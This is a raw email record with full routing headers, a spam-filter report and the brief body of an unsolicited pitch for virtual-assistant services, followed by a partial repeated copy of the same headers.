Received: from mail-japanwestazolkn19012052.outbound.protection.outlook.com ([52.103.66.52]:60652 helo=OS8PR02CU002.outbound.protection.outlook.com)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLjOx-00000000CSp-3Cm3
for sales@nk.ca;
Wed, 19 Nov 2025 07:43:30 -0700
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
b=STWxAs4aUJ6itLTZGzmb4n1wC3NUWu0Upl6iIDWjhUNn/d2d5Eiyiq53BHbRGHQ5na7idjN3lQixlB/QMIGXRhk4O1VC9fhWKRQjLFN8u0sh7vrJiQ8c6wZ7wNyg/x7lZnfSTuSf0OJgSlRxZcw4/EHrFpJmn7WFXpx1jlqaeC8UwLy6Oy7+ypyPpXRUz17nWrOB7nA7nj03bSuJyXe5RwYDzNavjB0VexMcfopJZn9KaEAHP+x3/HcTD8cGbR0vMYIS8jEyFofmsHiSmzc2/rTMKg+a9b061itENJuKUEBUZHrWlgvNb7zq2rPjCzwV4WXJNpqglFtHa28bLLwcTA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
s=arcselector10001;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
bh=aWV/y9WGmLxpebAYaRSPOtkxSYlYPI4wgBAvYL1yKkQ=;
b=t2EtYgvIuRKAz4thIs8/zvws93S1Ib8rsn4W2Rre182htYDkVEi1AsHuon2ymQNq7R2t+8acOv1C/KShK2EOBUALf06ceRxhfsTvoKmEonwZauyaohEbk54G401ltPO2Y1sZ7ZTS4ue5tL/FR0OTZwKwyhwNmtB+o+xlwp1F7YZzNpVFw/kMa+kSN3Vz9tIKCi0TeuFswC9f7Cfw71b/IeDvCL2Wu56lujy/4LDZO04E2tih4MHd4MZT8EFdnk8SdwpcRB4YlTHgaYwkyPyej8WvLq4VVfISe81p8xJpGkOmRoTqaIlv3576KOpa6TJXRLv5ZCGqYvWAYajQbwZURw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
s=selector1;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
bh=aWV/y9WGmLxpebAYaRSPOtkxSYlYPI4wgBAvYL1yKkQ=;
b=Ec6TLrgS0p4imSu1H9hsCDhXfw0vEe7g1lZl8uaO0vg54VD9mELauibwCaC4GRWGjYAWeGxUQYxy5fzVZJiMgqvdD8A72QvSnrVzeMkkbCCtq83LaW58s9shMsDVW43uWGQuVrR6RlZrOHUitAyk+Dp3eodUxk2NXIzYw8nwFoJP0MySUnInyxHHyzmnGvs82rcdkvAPSr5SJrrIt2SEeju9lMKboGNHx9L3uCKeyuwDUHixXB4uR+OJI6rGc1o/GA7oZqlOMgJ4tWII+6YEZ3aGbFDDws0Lz19LaFbZF41Z7LTJ7jVhqTS6nmf67g+boXED1EGYscWJg0RQxbvy+A==
Received: from SEYPR01MB5147.apcprd01.prod.exchangelabs.com
(2603:1096:101:d8::12) by TYSPR01MB6029.apcprd01.prod.exchangelabs.com
(2603:1096:405:57::10) with Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9343.10; Wed, 19 Nov
2025 14:42:07 +0000
Received: from SEYPR01MB5147.apcprd01.prod.exchangelabs.com
([fe80::ae83:2efb:f0ea:69aa]) by SEYPR01MB5147.apcprd01.prod.exchangelabs.com
([fe80::ae83:2efb:f0ea:69aa%4]) with mapi id 15.20.9298.012; Wed, 19 Nov 2025
14:42:07 +0000
From: David Becam
To: David Becam
Subject: Re: Let Me Handle Your Routine Tasks
Thread-Topic: Let Me Handle Your Routine Tasks
Thread-Index: AdxWwD9MFxEr5baGSVCmcC3mHQsYfQB2IyR9AAAZU1cAMl2R3w==
Date: Wed, 19 Nov 2025 14:42:06 +0000
Message-ID:
References:
In-Reply-To:
Accept-Language: en-IN, en-US
Content-Language: en-IN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SEYPR01MB5147:EE_|TYSPR01MB6029:EE_
x-ms-office365-filtering-correlation-id: 9d397ded-51b7-445b-5d58-08de2779d024
x-ms-exchange-slblob-mailprops:
JdQcnb18bc6hjhwYPgg/o3wESSELRMGgAxrNu6eHRiUkBtgbNEhn6L7WE0ByAQ1SogrIeb16c7vwMBz8LmQCtCKiFHzGWRqinysjRdi4b8OP5xxVqxSj09n3r9+I2UOJKe14XjKFePBY6KYBFhliPX+nfYMHJHU1Fvh1r55srLSCcQ93+T/ZTw8KHXfbzep4CrO6HSVNbPy4KRZlNNgI/Ya2U5pKBzibgWjeO9MS7UedkT7g9eAjJMi5JPrwmojVVQ7hBbYRZUXzY50TwTkNPQurZ1/yS/AWC/tfXVx6bkcz65BSn/IMTafQAaec3gYxhnCsdtJoul81UFXDpbaVUgNmQ3PreW6WcjStEurMvCj/oPIwfDEpcT63JPuDAuk0lZgtr9Kmc5Lv9VdhwJBvKUM4+4X1jNg/dMlpHyLunsi7Yw1PVCxz3Rf2Rr5yt/33vGCzjxSR3CMaFNXvFRXpzvDa8vz/So5w9frBvdMYnpJ6V7CY0ZM2MAJeo2Rcmhdkvr/ix0L42T1qwK/AM0AvFk7HS7NMdQIy+8Sr0o46WsTAdiwSQKLEFKKXGPrYUSwdTJNUSn0+pg7DpWYaFXwcn+NGa+qSPgKDd+QoKKn3haphqdCTzgwrxR34j/HHSo5IEVeaHBamTew=
x-microsoft-antispam:
BCL:0;ARA:14566002|19110799012|8062599012|39105399006|461199028|8060799015|15030799006|15080799012|31061999003|56899033|51015399003|40105399003|39145399003|440099028|3412199025|102099032|12091999003|1710799026;
x-microsoft-antispam-message-info:
=?Windows-1252?Q?Ey+Va10xtZ6Mu/PUkb2xte39oe5j4pby8vYNBkE0xfFd4e4SD+1abQkB?=
=?Windows-1252?Q?Rd8aTN4TvT3ov0rUSN9rQGnc4Elc4tH+SS1K1leNOOcqag4mzhk26lOR?=
=?Windows-1252?Q?PEC49sGDNkvAU8O0Es5rZbEaFsNnkT8LE/BTiFPkx5GlieGbzkCVLOHK?=
=?Windows-1252?Q?EiaS9wGg8VVtK/4AtnnvhyvCy0hKRRLz2dkAg9wTl3GbGxpTpbjMfAPY?=
=?Windows-1252?Q?5NCSWaCVzE1QBAnpYBv0/9TIPktS9ik63iVVIr+Ky1ePMpuRz73tLL12?=
=?Windows-1252?Q?hVxKG48k8g21sDBELrn3ZqPfJBqmeqvVy4NMJw3XXV3+SVhIhH18Vqjb?=
=?Windows-1252?Q?MOqx3UZ9zn4Lvsob1Q2QpvtFkapMu3w2to/Yzxv2W7JduLdKfxUOGlF1?=
=?Windows-1252?Q?dvBNzu0G1+6cIcYfjlLpei8naeRO783CyoWI/fzJpPoLQ0cFhbyH/AP8?=
=?Windows-1252?Q?fl+8RxXRAxKST8NaiFSx4Yb0j49h1ujfChUSLcmDHlZNt4sJpuZhT5nL?=
=?Windows-1252?Q?5pdC5iQBZzpyodOHsN7w/waW4fzCF/8Fs6xeBcb0UiWTUZxTpUF11qhY?=
=?Windows-1252?Q?BjIoJQ/4Zf4da+A4nvKuBEWXKKBp9UJr2HF134PQntDfgN7KQZ+By3bC?=
=?Windows-1252?Q?9dgmwfoR69mVh8cRleqmIZcdyUvVG21R6i19HItfc1UA/ftg6rWMH6U4?=
=?Windows-1252?Q?7vv1veh3DM2z+23DNzSNw6SYZgfH8kwr5EK8vNrK0beLo4Zu2z2/4pas?=
=?Windows-1252?Q?RySaCrI/h6BFly2K/R8+DQmxNwUVNXTaZZ9IhJeTsV2F9AeE0irOtOES?=
=?Windows-1252?Q?XmFaBpmATdTvLUEGoZIKuI8bZbBZ4AgOKD10OCxPdrp6+VR7gmtU1+k+?=
=?Windows-1252?Q?q1GkJkciEqIHEAh2tKWAsmy4HGJHIqDAKHzRq5S0wc2bhx5Y9fhqN2hM?=
=?Windows-1252?Q?E0lTJyoW1q7o+yKzid2kkoiX7AdGkcIqHGUhf/mReZI7FbaaCtWkPjle?=
=?Windows-1252?Q?xuXYTlKZQdj9wzqijq5a8xZHSHyi47CE4d6qacI3hH6MHRP1E9GYft7l?=
=?Windows-1252?Q?k4Bphie4phnMhr83uxA1Mf0t61iL8gqNuHdvGxIOxqzk4/lus6/PAmHC?=
=?Windows-1252?Q?d6DRdCxDC+vGa2tVOdyKqaPam/ZuFok5xj/LvWpdqexjmJY8p7Izp9rr?=
=?Windows-1252?Q?gYah+STqGJbvrpNMi6+sT+J8/M6H5fUCA43hbkBDzKDZH2tw0JEYAYqI?=
=?Windows-1252?Q?sPPruLz2hXShRQC19M8T9eBzr7GXqe/PqTuYI/wsGP9JF9pVuD4Fyex2?=
=?Windows-1252?Q?d0NJzlfkf0GF2gcuUcC0FOL3ixO+npfDxMj8KBt3KiT39Unk4ki5Vp/D?=
=?Windows-1252?Q?UHZNa+GnPqB3Cb1hn7EEexSD5PWrVMkMG9TmcmKLArsMmHU7Vpo2PHxo?=
=?Windows-1252?Q?hUibbHh0egR7vIEBrHvQWA=3D=3D?=
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
=?Windows-1252?Q?63HrNIOq9wgC4HDUFllj/7eay99Bdb5QYgYRnjBRItfQylbpN6YVT8/H?=
=?Windows-1252?Q?smN4bdIP456Kkc8M3A/D/UxOzl8pZnIGaDeQ8LeS2E4iPvgQxqr6mfAs?=
=?Windows-1252?Q?Jl9+Jagb7cQQJu3X1vw1RPKu+x77d2DsKNy/vHnfA71RuqRMsKG8FKzb?=
=?Windows-1252?Q?MKc04sqPClSz3so0lIg0MLIUCtzziLEfcsI154WDrSw1Frl3LvE9muX3?=
=?Windows-1252?Q?bdfPAaY+0Jcex5LJsd/aqdcgqYqqEWCb71Q4ZO7+B4zxaS0y9BVjE7Bm?=
=?Windows-1252?Q?NAdsboX6DSt4JnRQpQW72YyAgtWMl85jcuXQD3YEtOmG1FUovv6t5BN7?=
=?Windows-1252?Q?MJEq/aQWI7J1Gxbg+3RLi9ONUJFB+4Tij+/dvd3CQ2ft7DF2oeu8voiv?=
=?Windows-1252?Q?p7RwkIgKjnoXir2E6nKqrRnOXlU2b4faGRrABHLc+jlxCg/psg3xbvaS?=
=?Windows-1252?Q?JXabtJv+cr3KHLiH8RIxvyZVya4IJrYyRENxYxk/7GJYUjwrgj4k0OkO?=
=?Windows-1252?Q?2c5rS0r8Jgkk3EPLuL7cNJbmpHD1HdeFNPz2S2sF2v1bcPJFl0Cs6IXd?=
=?Windows-1252?Q?dYxrWHGHTctu9ZXbL2asC0w7TxS8r8K19CTqcyuxgqVoVHFOvZvzMRoy?=
=?Windows-1252?Q?EwbERuShXpEgMfQqqdH971kWctQVfbjP7IeOK3NxqqUUzA0cUVlL9HI7?=
=?Windows-1252?Q?dufBT+JUFwjHKYVcTWHEniQMdv7djZrT5FeDECArgo9tHYULtEuMYMhc?=
=?Windows-1252?Q?Vvtg+Y0b9iky0nl6m9iao08+B/6ArDMOL7m8pQT7psXNauS8cFZBng1D?=
=?Windows-1252?Q?NnAzkFwDsdFRhFslhDq56qVnz2V/N+dHhR298vV9FLvRfNOzC7WH8Qh0?=
=?Windows-1252?Q?QJpbjeyE0p1MKu4xb3WUwftmN0uLTRxolNCgfL7DZwNE9GVIcAfWAyqW?=
=?Windows-1252?Q?+A3/dNibUb0XyddbxHa/f3i+KuiGOue2PhQUNaNZ1gqJ1SULVzHg14at?=
=?Windows-1252?Q?m78Hi77+Me+kidPC7eweerZfo/IZ3ypgOeSvgCSOSFcvwE9l4Jq0hE/H?=
=?Windows-1252?Q?BMefVdImAIHDeTIUgyUbcEzVpFccMj1RHJMzEQQOUIz+YSnD+S+buOLu?=
=?Windows-1252?Q?20FCRGgTXQxPwNiRFJwgkZBSZJysLAiie7L1SokL/bW1hbcZRL9p+y7D?=
=?Windows-1252?Q?B14uYdYcYTzQobN7j4vQDHYWjWRpTt2qFSLnjdrnAzK+PllZ8MCPVi90?=
=?Windows-1252?Q?4AHO7gnWQdmG/609S41J5iIxheV3g0pf1H0Gse5nWpRljqM5cDN5pOGF?=
=?Windows-1252?Q?Hbd1SpyhBqAMLLWTBNaYHxVWqPFWJ6mGpGH/160gnreRXkLC?=
Content-Type: multipart/alternative;
boundary="_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_"
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SEYPR01MB5147.apcprd01.prod.exchangelabs.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: 9d397ded-51b7-445b-5d58-08de2779d024
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Nov 2025 14:42:06.9504
(UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYSPR01MB6029
X-Spam_score: 7.3
X-Spam_score_int: 73
X-Spam_bar: +++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi, Daily admin tasks can slow down your focus on growth.
I offer Virtual Assistant support for: Email & calendar management Data
entry & research Reports & admin coordination
Content analysis details: (7.3 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
[52.103.66.52 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
[52.103.66.52 listed in dnsbl.ahbl.org]
[52.103.66.52 listed in dnsbl.ahbl.org]
[52.103.66.52 listed in dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
[2603:1096:101:d8:0:0:0:12 listed in]
[dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[52.103.66.52 listed in dnsbl.ahbl.org]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[52.103.66.52 listed in psbl.surriel.com]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[52.103.66.52 listed in wl.mailspike.net]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.0 ARC_SIGNED Message has a ARC signature
0.0 ARC_VALID Message has a valid ARC signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
domain
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[davidbecham.nic(at)outlook.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Re: Let Me Handle Your Routine Tasks
--_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
Hi,
Daily admin tasks can slow down your focus on growth. I offer Virtual Assis=
tant support for:
Email & calendar management
Data entry & research
Reports & admin coordination
I=92d love to show how you can save hours each week.
Can we schedule a quick 10-minute chat?
Best regards,
David
--_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_
Content-Type: text/html; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
252">
11pt; color: rgb(0, 0, 0);">
Hi,
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 08:00:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLjf1-00000000EMS-23xX
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 07:59:55 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 07:59:55 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-japanwestazolkn19012052.outbound.protection.outlook.com ([52.103.66.52]:60652 helo=OS8PR02CU002.outbound.protection.outlook.com)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLjOx-00000000CSp-3Cm3
for sales@nk.ca;
Wed, 19 Nov 2025 07:43:30 -0700
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
b=STWxAs4aUJ6itLTZGzmb4n1wC3NUWu0Upl6iIDWjhUNn/d2d5Eiyiq53BHbRGHQ5na7idjN3lQixlB/QMIGXRhk4O1VC9fhWKRQjLFN8u0sh7vrJiQ8c6wZ7wNyg/x7lZnfSTuSf0OJgSlRxZcw4/EHrFpJmn7WFXpx1jlqaeC8UwLy6Oy7+ypyPpXRUz17nWrOB7nA7nj03bSuJyXe5RwYDzNavjB0VexMcfopJZn9KaEAHP+x3/HcTD8cGbR0vMYIS8jEyFofmsHiSmzc2/rTMKg+a9b061itENJuKUEBUZHrWlgvNb7zq2rPjCzwV4WXJNpqglFtHa28bLLwcTA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
s=arcselector10001;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
bh=aWV/y9WGmLxpebAYaRSPOtkxSYlYPI4wgBAvYL1yKkQ=;
b=t2EtYgvIuRKAz4thIs8/zvws93S1Ib8rsn4W2Rre182htYDkVEi1AsHuon2ymQNq7R2t+8acOv1C/KShK2EOBUALf06ceRxhfsTvoKmEonwZauyaohEbk54G401ltPO2Y1sZ7ZTS4ue5tL/FR0OTZwKwyhwNmtB+o+xlwp1F7YZzNpVFw/kMa+kSN3Vz9tIKCi0TeuFswC9f7Cfw71b/IeDvCL2Wu56lujy/4LDZO04E2tih4MHd4MZT8EFdnk8SdwpcRB4YlTHgaYwkyPyej8WvLq4VVfISe81p8xJpGkOmRoTqaIlv3576KOpa6TJXRLv5ZCGqYvWAYajQbwZURw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
s=selector1;
h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
bh=aWV/y9WGmLxpebAYaRSPOtkxSYlYPI4wgBAvYL1yKkQ=;
b=Ec6TLrgS0p4imSu1H9hsCDhXfw0vEe7g1lZl8uaO0vg54VD9mELauibwCaC4GRWGjYAWeGxUQYxy5fzVZJiMgqvdD8A72QvSnrVzeMkkbCCtq83LaW58s9shMsDVW43uWGQuVrR6RlZrOHUitAyk+Dp3eodUxk2NXIzYw8nwFoJP0MySUnInyxHHyzmnGvs82rcdkvAPSr5SJrrIt2SEeju9lMKboGNHx9L3uCKeyuwDUHixXB4uR+OJI6rGc1o/GA7oZqlOMgJ4tWII+6YEZ3aGbFDDws0Lz19LaFbZF41Z7LTJ7jVhqTS6nmf67g+boXED1EGYscWJg0RQxbvy+A==
Received: from SEYPR01MB5147.apcprd01.prod.exchangelabs.com
(2603:1096:101:d8::12) by TYSPR01MB6029.apcprd01.prod.exchangelabs.com
(2603:1096:405:57::10) with Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9343.10; Wed, 19 Nov
2025 14:42:07 +0000
Received: from SEYPR01MB5147.apcprd01.prod.exchangelabs.com
([fe80::ae83:2efb:f0ea:69aa]) by SEYPR01MB5147.apcprd01.prod.exchangelabs.com
([fe80::ae83:2efb:f0ea:69aa%4]) with mapi id 15.20.9298.012; Wed, 19 Nov 2025
14:42:07 +0000
From: David Becam
To: David Becam
Subject: Re: Let Me Handle Your Routine Tasks
Thread-Topic: Let Me Handle Your Routine Tasks
Thread-Index: AdxWwD9MFxEr5baGSVCmcC3mHQsYfQB2IyR9AAAZU1cAMl2R3w==
Date: Wed, 19 Nov 2025 14:42:06 +0000
Message-ID:
References:
In-Reply-To:
Accept-Language: en-IN, en-US
Content-Language: en-IN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SEYPR01MB5147:EE_|TYSPR01MB6029:EE_
x-ms-office365-filtering-correlation-id: 9d397ded-51b7-445b-5d58-08de2779d024
x-ms-exchange-slblob-mailprops:
JdQcnb18bc6hjhwYPgg/o3wESSELRMGgAxrNu6eHRiUkBtgbNEhn6L7WE0ByAQ1SogrIeb16c7vwMBz8LmQCtCKiFHzGWRqinysjRdi4b8OP5xxVqxSj09n3r9+I2UOJKe14XjKFePBY6KYBFhliPX+nfYMHJHU1Fvh1r55srLSCcQ93+T/ZTw8KHXfbzep4CrO6HSVNbPy4KRZlNNgI/Ya2U5pKBzibgWjeO9MS7UedkT7g9eAjJMi5JPrwmojVVQ7hBbYRZUXzY50TwTkNPQurZ1/yS/AWC/tfXVx6bkcz65BSn/IMTafQAaec3gYxhnCsdtJoul81UFXDpbaVUgNmQ3PreW6WcjStEurMvCj/oPIwfDEpcT63JPuDAuk0lZgtr9Kmc5Lv9VdhwJBvKUM4+4X1jNg/dMlpHyLunsi7Yw1PVCxz3Rf2Rr5yt/33vGCzjxSR3CMaFNXvFRXpzvDa8vz/So5w9frBvdMYnpJ6V7CY0ZM2MAJeo2Rcmhdkvr/ix0L42T1qwK/AM0AvFk7HS7NMdQIy+8Sr0o46WsTAdiwSQKLEFKKXGPrYUSwdTJNUSn0+pg7DpWYaFXwcn+NGa+qSPgKDd+QoKKn3haphqdCTzgwrxR34j/HHSo5IEVeaHBamTew=
x-microsoft-antispam:
BCL:0;ARA:14566002|19110799012|8062599012|39105399006|461199028|8060799015|15030799006|15080799012|31061999003|56899033|51015399003|40105399003|39145399003|440099028|3412199025|102099032|12091999003|1710799026;
x-microsoft-antispam-message-info:
=?Windows-1252?Q?Ey+Va10xtZ6Mu/PUkb2xte39oe5j4pby8vYNBkE0xfFd4e4SD+1abQkB?=
=?Windows-1252?Q?Rd8aTN4TvT3ov0rUSN9rQGnc4Elc4tH+SS1K1leNOOcqag4mzhk26lOR?=
=?Windows-1252?Q?PEC49sGDNkvAU8O0Es5rZbEaFsNnkT8LE/BTiFPkx5GlieGbzkCVLOHK?=
=?Windows-1252?Q?EiaS9wGg8VVtK/4AtnnvhyvCy0hKRRLz2dkAg9wTl3GbGxpTpbjMfAPY?=
=?Windows-1252?Q?5NCSWaCVzE1QBAnpYBv0/9TIPktS9ik63iVVIr+Ky1ePMpuRz73tLL12?=
=?Windows-1252?Q?hVxKG48k8g21sDBELrn3ZqPfJBqmeqvVy4NMJw3XXV3+SVhIhH18Vqjb?=
=?Windows-1252?Q?MOqx3UZ9zn4Lvsob1Q2QpvtFkapMu3w2to/Yzxv2W7JduLdKfxUOGlF1?=
=?Windows-1252?Q?dvBNzu0G1+6cIcYfjlLpei8naeRO783CyoWI/fzJpPoLQ0cFhbyH/AP8?=
=?Windows-1252?Q?fl+8RxXRAxKST8NaiFSx4Yb0j49h1ujfChUSLcmDHlZNt4sJpuZhT5nL?=
=?Windows-1252?Q?5pdC5iQBZzpyodOHsN7w/waW4fzCF/8Fs6xeBcb0UiWTUZxTpUF11qhY?=
=?Windows-1252?Q?BjIoJQ/4Zf4da+A4nvKuBEWXKKBp9UJr2HF134PQntDfgN7KQZ+By3bC?=
=?Windows-1252?Q?9dgmwfoR69mVh8cRleqmIZcdyUvVG21R6i19HItfc1UA/ftg6rWMH6U4?=
=?Windows-1252?Q?7vv1veh3DM2z+23DNzSNw6SYZgfH8kwr5EK8vNrK0beLo4Zu2z2/4pas?=
=?Windows-1252?Q?RySaCrI/h6BFly2K/R8+DQmxNwUVNXTaZZ9IhJeTsV2F9AeE0irOtOES?=
=?Windows-1252?Q?XmFaBpmATdTvLUEGoZIKuI8bZbBZ4AgOKD10OCxPdrp6+VR7gmtU1+k+?=
=?Windows-1252?Q?q1GkJkciEqIHEAh2tKWAsmy4HGJHIqDAKHzRq5S0wc2bhx5Y9fhqN2hM?=
=?Windows-1252?Q?E0lTJyoW1q7o+yKzid2kkoiX7AdGkcIqHGUhf/mReZI7FbaaCtWkPjle?=
=?Windows-1252?Q?xuXYTlKZQdj9wzqijq5a8xZHSHyi47CE4d6qacI3hH6MHRP1E9GYft7l?=
=?Windows-1252?Q?k4Bphie4phnMhr83uxA1Mf0t61iL8gqNuHdvGxIOxqzk4/lus6/PAmHC?=
=?Windows-1252?Q?d6DRdCxDC+vGa2tVOdyKqaPam/ZuFok5xj/LvWpdqexjmJY8p7Izp9rr?=
=?Windows-1252?Q?gYah+STqGJbvrpNMi6+sT+J8/M6H5fUCA43hbkBDzKDZH2tw0JEYAYqI?=
=?Windows-1252?Q?sPPruLz2hXShRQC19M8T9eBzr7GXqe/PqTuYI/wsGP9JF9pVuD4Fyex2?=
=?Windows-1252?Q?d0NJzlfkf0GF2gcuUcC0FOL3ixO+npfDxMj8KBt3KiT39Unk4ki5Vp/D?=
=?Windows-1252?Q?UHZNa+GnPqB3Cb1hn7EEexSD5PWrVMkMG9TmcmKLArsMmHU7Vpo2PHxo?=
=?Windows-1252?Q?hUibbHh0egR7vIEBrHvQWA=3D=3D?=
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
=?Windows-1252?Q?63HrNIOq9wgC4HDUFllj/7eay99Bdb5QYgYRnjBRItfQylbpN6YVT8/H?=
=?Windows-1252?Q?smN4bdIP456Kkc8M3A/D/UxOzl8pZnIGaDeQ8LeS2E4iPvgQxqr6mfAs?=
=?Windows-1252?Q?Jl9+Jagb7cQQJu3X1vw1RPKu+x77d2DsKNy/vHnfA71RuqRMsKG8FKzb?=
=?Windows-1252?Q?MKc04sqPClSz3so0lIg0MLIUCtzziLEfcsI154WDrSw1Frl3LvE9muX3?=
=?Windows-1252?Q?bdfPAaY+0Jcex5LJsd/aqdcgqYqqEWCb71Q4ZO7+B4zxaS0y9BVjE7Bm?=
=?Windows-1252?Q?NAdsboX6DSt4JnRQpQW72YyAgtWMl85jcuXQD3YEtOmG1FUovv6t5BN7?=
=?Windows-1252?Q?MJEq/aQWI7J1Gxbg+3RLi9ONUJFB+4Tij+/dvd3CQ2ft7DF2oeu8voiv?=
=?Windows-1252?Q?p7RwkIgKjnoXir2E6nKqrRnOXlU2b4faGRrABHLc+jlxCg/psg3xbvaS?=
=?Windows-1252?Q?JXabtJv+cr3KHLiH8RIxvyZVya4IJrYyRENxYxk/7GJYUjwrgj4k0OkO?=
=?Windows-1252?Q?2c5rS0r8Jgkk3EPLuL7cNJbmpHD1HdeFNPz2S2sF2v1bcPJFl0Cs6IXd?=
=?Windows-1252?Q?dYxrWHGHTctu9ZXbL2asC0w7TxS8r8K19CTqcyuxgqVoVHFOvZvzMRoy?=
